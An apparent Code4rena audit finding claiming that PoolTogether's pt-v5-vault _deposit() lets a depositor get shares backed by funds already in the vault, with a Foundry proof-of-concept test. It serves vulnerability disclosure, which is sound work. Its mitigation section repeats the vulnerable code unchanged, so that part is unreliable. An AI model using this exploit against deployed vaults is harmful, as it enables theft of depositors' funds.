Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L407-L415 https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L925-L963

Vulnerability details

Impact

Attacker can steal vaults funds.

Proof of Concept

if (_assets > _vaultAssets) { 
      uint256 _assetsDeposit;

      unchecked {
        if (_vaultAssets != 0) {
          _assetsDeposit = _assets - _vaultAssets;
        }
      }

      SafeERC20.safeTransferFrom(
        _asset,
        _caller,
        address(this),
        _assetsDeposit != 0 ? _assetsDeposit : _assets
      );
    }

When depositing to the vault, the _deposit() function checks that _assest is greater than the vaults assets. If the user input asset exceeds the vault assets, it doesn't allow depositing the full amount. But it uses vault funds instead.

Let's say the vault has 400e18 funds. Another user deposits using function deposit(500e18,user). Normally, the user needs to send 500e18 for 500 shares but can have 500 shares by only sending 100e18.

Deposit.t.sol

function testDeposit() external {
    vm.startPrank(alice);

    uint256 _amount = 10000e18;
    underlyingAsset.mint(alice, _amount);
    underlyingAsset.approve(address(vault), type(uint256).max);

    underlyingAsset.transfer(address(vault), 400e18);
    console2.log("vault balance : ", underlyingAsset.balanceOf(address(vault)));

    vm.stopPrank();

    vm.startPrank(bob);
    underlyingAsset.mint(bob, 1000e18);
    underlyingAsset.approve(address(vault), type(uint256).max);

    vault.deposit(500e18, bob);
    console2.log("bob vault balance : ", vault.balanceOf(bob));
    console2.log("bob underlying balance : ", underlyingAsset.balanceOf(bob));

    vm.stopPrank();
  }

Tools Used

Manual Review

Recommended Mitigation Steps

if (_assets > _vaultAssets) { 
      uint256 _assetsDeposit;

      unchecked {
        if (_vaultAssets != 0) {
          _assetsDeposit = _assets - _vaultAssets;
        }
      }

      SafeERC20.safeTransferFrom(
        _asset,
        _caller,
        address(this),
        _assetsDeposit != 0 ? _assetsDeposit : _assets
      );
    }

Remove this check or

Track the deposited amount correctly and mint afterwards.

Assessed type

Other

code-423n4 / 2023-07-pooltogether-findings

Vault funds can be stealable by sending more amounts than vault funds. #242